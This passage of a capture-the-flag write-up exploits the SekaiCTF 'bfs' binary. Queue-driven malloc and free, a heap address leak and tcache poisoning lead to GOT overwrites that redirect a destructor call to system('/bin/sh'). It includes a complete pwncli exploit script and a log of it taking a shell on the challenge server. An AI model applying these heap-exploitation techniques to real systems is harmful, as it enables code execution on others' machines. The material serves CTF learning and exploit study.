push push!!!
... #3: malloc(0x200)                               = 0x55555556d110
pop pop!!!
pop pop!!!
... #4: free(#2)                                                                                                  (#2=0x55555556cf00)
push push!!!
push push!!!
... #5: malloc(0x200)                               = 0x55555556cf00
pop pop!!!
pop pop!!!
... #6: free(#3)                                                                                                  (#3=0x55555556d110)
end end!!!
... #7: free(#5)                                                                                                  (#5=0x55555556cf00)
... #8: free(#1)                                                                                                  (#1=0x55555556ceb0)

============================================================================================= END HEAPTRACE ========================
Statistics:
... mallocs count: 4
... frees count: 4
```

In the initial stage, `std::queue<uint_8>` allocate two chunks, the size is `0x50` and `0x210`.

After pushing `0x200` items, `malloc(0x200)` is triggered.

After popping `0x200` items, the initial chunk is released.

In a word, we can allocate chunk by `queue.push` and free chunk by `queue.pop`.

2-4 malloc and free chunks using std::queue

Look at the function `bfs`:

```
void bfs(uint from, uint dest, uint n )  {
    uint tmp = 0;
    parent[from] = from; // root node of a path, whose parent node is itself ⟶ overflow3
    q.push(from);
    vis[from] = 1; // ⟶ overflow4
    while(!q.empty())   {
        tmp = q.front();
```

```
        q.pop();
        for (int i = 0; i < n; i++) {
            if(adj_matrix[tmp*MAX_NUMBER_OF_NODES + i] != 0 && vis[i] != 1) {
                vis[i] = 1;
                parent[i] = tmp;
                q.push(i);
                if (i == dest)
                    return;    // return, the nodes in the queue are not released
            }
        }
    }
    return;
}
```

On the one hand, we can push items in the for loop, and let it return, so the queue will not be cleared. Let node `X` connects to all other nodes, and input `from=X`, `dest=255`, then in `bfs`, `255` items are added in the queue and it will return because node `X` is connected to node `255`.

The snippet to trigger malloc:

```python
def push_nodes(from_=0, num=256):
    sl(f"{num} {num-1}")
    for i in range(num):
        if i == from_:
            continue
        sl(f"{from_} {i}")

    sl(f"{from_} {num-1}")
    ru("Testcase #")

push_nodes()
```

On the other hand, we can specify `n = 0`, then the queue is cleared and trigger free chunks.

2-5 leak heap address and hijack tcache->next

We have to pass safe linking in tcache bins. After controlling the allocation of chunks by `std:queue`, put one chunk in tcache bins and leak heap address by `parent` overflow. Then, put two chunks at tcache bins and modify the `tcache->next` by `adj_matrix` overflow. Now we can allocate at arbitrary address.

I choose to allocate at `0x4073e0`, the address of `adj_matrix`, and makes `adj_matrix` be zero.

2-6 calculate the appropriate i and j for adj_matrix

Now the `adj_matrix` is `0`, the problem is how to change the content of target address by `adj_matrix` overflow. It's just a basic quadratic equation.

```
256 * i + j = t1 (1)
i + 256 * j = t2 (2)
```

As we know the address of heap area, let `t1 = got.plt address` and `t2 = heap address`. When `j` increases `1`, the `equation (2)` would increases `256`, the heap area is large enough and `t2 + 256 * X` is always writable.

snippet:

```python
def func11(t1, t2):
    y = (256 * t2 - t1) //(256 * 256 -1)
    x = t2 - 256 * y
    x = (t1 - y) // 256
    y = t1 - 256 * x
    print(f"x: {x}, y: {y}")
    return x, y

# 0x407048 --> got.plt@~basic_string
x, y = func11(0x407048, heap_base)
```

Then, write `got.plt@std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string` to `0x401925`:

```
.text:000000000040191F                 jnz     loc_4019BC
.text:0000000000401925                 lea     rax, _ZStL8__ioinit ; std::__ioinit
.text:000000000040192C                 mov     rdi, rax        ; this
.text:000000000040192F                 call    __ZNSt8ios_base4InitC1Ev ; std::ios_base::Init::Init(void)
.text:0000000000401934                 lea     rax, __dso_handle
```

add `got.plt@std::ios_base::Init::Init` to `system` and write `/bin/sh` at `std::__ioinit`. BTW, `std::__ioint` is on the top of `adj_matrix`

When the loop ends, `~basic_string` will be called.

2-7 get shell

The layout of got table and `std::__ioinit`:

```
pwndbg> got

GOT protection: Partial RELRO | GOT functions: 24

[0x407018] _Znam@GLIBCXX_3.4 -> 0x7f8db0ce7a50 ◂— endbr64
[0x407020] setvbuf@GLIBC_2.2.5 -> 0x7f8db0a72670 (setvbuf) ◂— endbr64
[0x407028] _ZNSirsERj@GLIBCXX_3.4 -> 0x7f8db0d5b810 ◂— endbr64
[0x407030] _ZSt17__throw_bad[...]@GLIBCXX_3.4 -> 0x401060 ◂— endbr64
[0x407038] __cxa_begin_catch@CXXABI_1.3 -> 0x401070 ◂— endbr64
[0x407040] _ZSt20__throw_len[...]@GLIBCXX_3.4 -> 0x401080 ◂— endbr64
[0x407048] _ZNSt7__cxx1112ba[...]@GLIBCXX_3.4.21 -> 0x401925 ◂— lea    rax, [rip + 0x5abc]
[0x407050] _ZSt28__throw_bad[...]@GLIBCXX_3.4.29 -> 0x4010a0 ◂— endbr64
[0x407058] __cxa_atexit@GLIBC_2.2.5 -> 0x7f8db0a368c0 (__cxa_atexit) ◂— endbr64
[0x407060] _ZStlsISt11char_t[...]@GLIBCXX_3.4 -> 0x7f8db0d75e70 ◂— endbr64
[0x407068] _Znwm@GLIBCXX_3.4 -> 0x7f8db0ce79f0 ◂— endbr64
[0x407070] _ZdlPvm@CXXABI_1.3.9 -> 0x7f8db0ce5ca0 ◂— endbr64
[0x407078] _ZNSolsEPFRSoS_E@GLIBCXX_3.4 -> 0x7f8db0d74900 ◂— endbr64
[0x407080] __stack_chk_fail@GLIBC_2.4 -> 0x401100 ◂— endbr64
[0x407088] signal@GLIBC_2.2.5 -> 0x7f8db0a33420 (ssignal) ◂— endbr64
[0x407090] exit@GLIBC_2.2.5 -> 0x401120 ◂— endbr64
[0x407098] _ZNSolsEj@GLIBCXX_3.4 -> 0x7f8db0d76580 ◂— endbr64
[0x4070a0] _ZNSt7__cxx1112ba[...]@GLIBCXX_3.4.21 -> 0x7f8db0d850b0 ◂— endbr64
[0x4070a8] __cxa_rethrow@CXXABI_1.3 -> 0x401150 ◂— endbr64
[0x4070b0] _ZNSt8ios_base4In[...]@GLIBCXX_3.4 -> 0x7f8db0a41d7b (system+27) ◂— call   0x7f8db0a418f0
[0x4070b8] memmove@GLIBC_2.2.5 -> 0x7f8db0b91940 (__memmove_avx_unaligned_erms) ◂— endbr64
[0x4070c0] __cxa_end_catch@CXXABI_1.3 -> 0x401180 ◂— endbr64
[0x4070c8] _Unwind_Resume@GCC_3.0 -> 0x401190 ◂— endbr64
[0x4070d0] alarm@GLIBC_2.2.5 -> 0x7f8db0adb5b0 (alarm) ◂— endbr64
pwndbg> tele 0x4073e0
00:0000│  0x4073e0 (adj_matrix) ◂— 0x0
01:0008│  0x4073e8 (std::__ioinit) ◂— 0x68732f6e69622f /* '/bin/sh' */
02:0010│  0x4073f0 ◂— 0x0
03:0018│  0x4073f8 ◂— 0x0
04:0020│  0x407400 ◂— 0x0
05:0028│  0x407408 ◂— 0x0
06:0030│  0x407410 ◂— 0x0
07:0038│  0x407418 ◂— 0x0
```

The operation of `xmm` register fails when call system, so I use the address of `call do_system`.

Pop shell:

```
 RDX  0x7f2a62a233b0 —▸ 0x7f2a6293b5d0 ◂— endbr64
 RDI  0x4073e8 (std::__ioinit) ◂— 0x68732f6e69622f /* '/bin/sh' */
 RSI  0x0
 R8   0x1
 R9   0x7fff72e07220 ◂— 0x2
 R10  0x1
 R11  0x246
 R12  0x7fff72e074d8 —▸ 0x7fff72e07804 ◂— '/home/roderick/hack/bfs/bfs'
 R13  0x401605 (main) ◂— endbr64
 R14  0x406de8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4013e0 (__do_global_dtors_aux) ◂— endbr64
 R15  0x7f2a62a6d040 (_rtld_global) —▸ 0x7f2a62a6e2e0 ◂— 0x0
 RBP  0x7fff72e073c0 ◂— 0x1
*RSP  0x7fff72e07320 —▸ 0x401934 ◂— lea    rax, [rip + 0x57a5]
*RIP  0x4012e0 (std::ios_base::Init::Init()@plt) ◂— endbr64
──────────────────────────────────[ DISASM ]──────────────────────────────────
 ► 0x4012e0       <std::ios_base::Init::Init()@plt>      endbr64
   0x4012e4       <std::ios_base::Init::Init()@plt+4>    bnd jmp qword ptr [rip + 0x5dc5]     <system+27>
    ↓
   0x7f2a62608d7b <system+27>                            call   do_system                <do_system>

   0x7f2a62608d80 <system+32>                            test   eax, eax
   0x7f2a62608d82 <system+34>                            sete   al
   0x7f2a62608d85 <system+37>                            add    rsp, 8
   0x7f2a62608d89 <system+41>                            movzx  eax, al
   0x7f2a62608d8c <system+44>                            ret

   0x7f2a62608d8d                                        nop    dword ptr [rax]
   0x7f2a62608d90 <realpath_stk>                         push   r15
   0x7f2a62608d92 <realpath_stk+2>                       push   r14
──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000│ rsp 0x7fff72e07320 —▸ 0x401934 ◂— lea    rax, [rip + 0x57a5]
01:0008│     0x7fff72e07328 —▸ 0x4018c0 (main+699) ◂— mov    eax, ebx
02:0010│     0x7fff72e07330 —▸ 0x7fff72e074d8 —▸ 0x7fff72e07804 ◂— '/home/roderick/hack/bfs/bfs'
```

2-8 EXP

```python
#!/usr/bin/env python3
# Date: 2022-10-02 08:23:47
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug ./bfs -t -b 0x401925
#     Remote: python3 exp.py remote ./bfs ip:port

from pwncli import *
cli_script()

context.arch="amd64"

io: tube = gift.io

def push_nodes(from_=0, num=256):
    sl(f"{num} {num-1}")
    for i in range(num):
        if i == from_:
            continue
        sl(f"{from_} {i}")

    sl(f"{from_} {num-1}")
    ru("Testcase #")


def clear_queue_and_adjmatrix(dest=0):
    sl("256 0")
    sl(f"0 {dest}")
    ru("Testcase #")

sleep(1)
```

```python

# count
sl("42")

push_nodes()
push_nodes()

# clear
clear_queue_and_adjmatrix()

push_nodes()
push_nodes()

clear_queue_and_adjmatrix()

heap_base = 0
clear_queue_and_adjmatrix(0x11130)
m = rls("6:").split()
heap_base += (int_ex(m[2]) << 12)

clear_queue_and_adjmatrix(0x11131)
m = rls("7:").split()
heap_base += (int_ex(m[2]) << 20)

clear_queue_and_adjmatrix(0x11132)
m = rls("8:").split()
heap_base += (int_ex(m[2]) << 28)
heap_base -= 0x23000
log_address_ex("heap_base")

push_nodes()
push_nodes(2)
push_nodes(3)

push_nodes(4)
push_nodes(5)
clear_queue_and_adjmatrix()


off = 0x11020
ori_content = ((heap_base + 0x23350) >> 12) ^ (heap_base + 0x11f00) #
write_content = ((heap_base + 0x23350) >> 12) ^ 0x4073e0 # adj_matrix
log_address_ex("ori_content")
log_address_ex("write_content")

# 272 * 256 + 32 = 0x1120
for i in range(4):
    ori1 = ori_content & 0xff
    wri1 = write_content & 0xff
    ori_content >>= 8
    write_content >>= 8
    times = wri1 - ori1 if wri1 >= ori1 else wri1 - ori1 + 0x100
    sl(f"0 {times}")
    for _ in range(times):
        sl(f"272 {i+32}")
    sl("0 0")

push_nodes()
push_nodes(1)
push_nodes(2, 0xf6)
```

```python


data = p64(0)+b"/bin/sh"
# nodes edges

for x in data:
    sl(f"0 0")
    sl(f"{x} 0")
    ru("Testcase #")


def func11(t1, t2):
    y = (256 * t2 - t1) //(256 * 256 -1)
    x = t2 - 256 * y
    x = (t1 - y) // 256
    y = t1 - 256 * x
    log_ex(f"x: {x}, y: {y}")
    return x, y

x, y = func11(0x407048, heap_base)

ori_content = 0x401090
write_content = 0x401925
log_address_ex("ori_content")
log_address_ex("write_content")

for i in range(3):
    ori1 = ori_content & 0xff
    wri1 = write_content & 0xff
    ori_content >>= 8
    write_content >>= 8
    if ori1 == wri1:
        continue
    times = wri1 - ori1 if wri1 >= ori1 else wri1 - ori1 + 0x100
    sl(f"0 {times}")
    for _ in range(times):
        sl(f"{x} {i+y}")
    sl("0 0")


ori_content = 0x7f2838abd140
write_content = 0x7f2838806d60+0x1b
log_address_ex("ori_content")
log_address_ex("write_content")

for i in range(3):
    ori1 = ori_content & 0xff
    wri1 = write_content & 0xff
    ori_content >>= 8
    write_content >>= 8
    if ori1 == wri1:
        continue
    times = wri1 - ori1 if wri1 >= ori1 else wri1 - ori1 + 0x100
    sl(f"0 {times}")
    for _ in range(times):
        sl(f"{x} {i+y+0x68}")
    sl("0 0")


ia()
```

Attack remote host:

```
roderick@e3fc309fb85b:~/hack/bfs$ ./exp_cli.py re ./bfs2 challs.ctf.sekai.team:4004 -nl
[*] INFO  connect challs.ctf.sekai.team port 4004 success!
[*] INFO  heap_base ===> 0x1333000
[*] INFO  ori_content ===> 0x1345c56
[*] INFO  write_content ===> 0x4060b6
[*] INFO  x: 16189, y: 78664
[*] INFO  ori_content ===> 0x401090
[*] INFO  write_content ===> 0x401925
[*] INFO  ori_content ===> 0x7f2838abd140
[*] INFO  write_content ===> 0x7f2838806d7b
32: 0
Testcase #33: 0
Testcase #34: 0
Testcase #35: 0
Testcase #36: 0
Testcase #37: 0
Testcase #38: 0
Testcase #39: 0
Testcase #40: 0
Testcase #41: 0
$ ls
bfs
flag.txt
$ cat flag.txt
SEKAI{what_do_you_mean_my_integers_have_to_be_checked?_i_never_needed_to_do_that_in_programming_competitions}
$ 
```

Reference

1、My Blog

2、Ctf Wiki

3、pwncli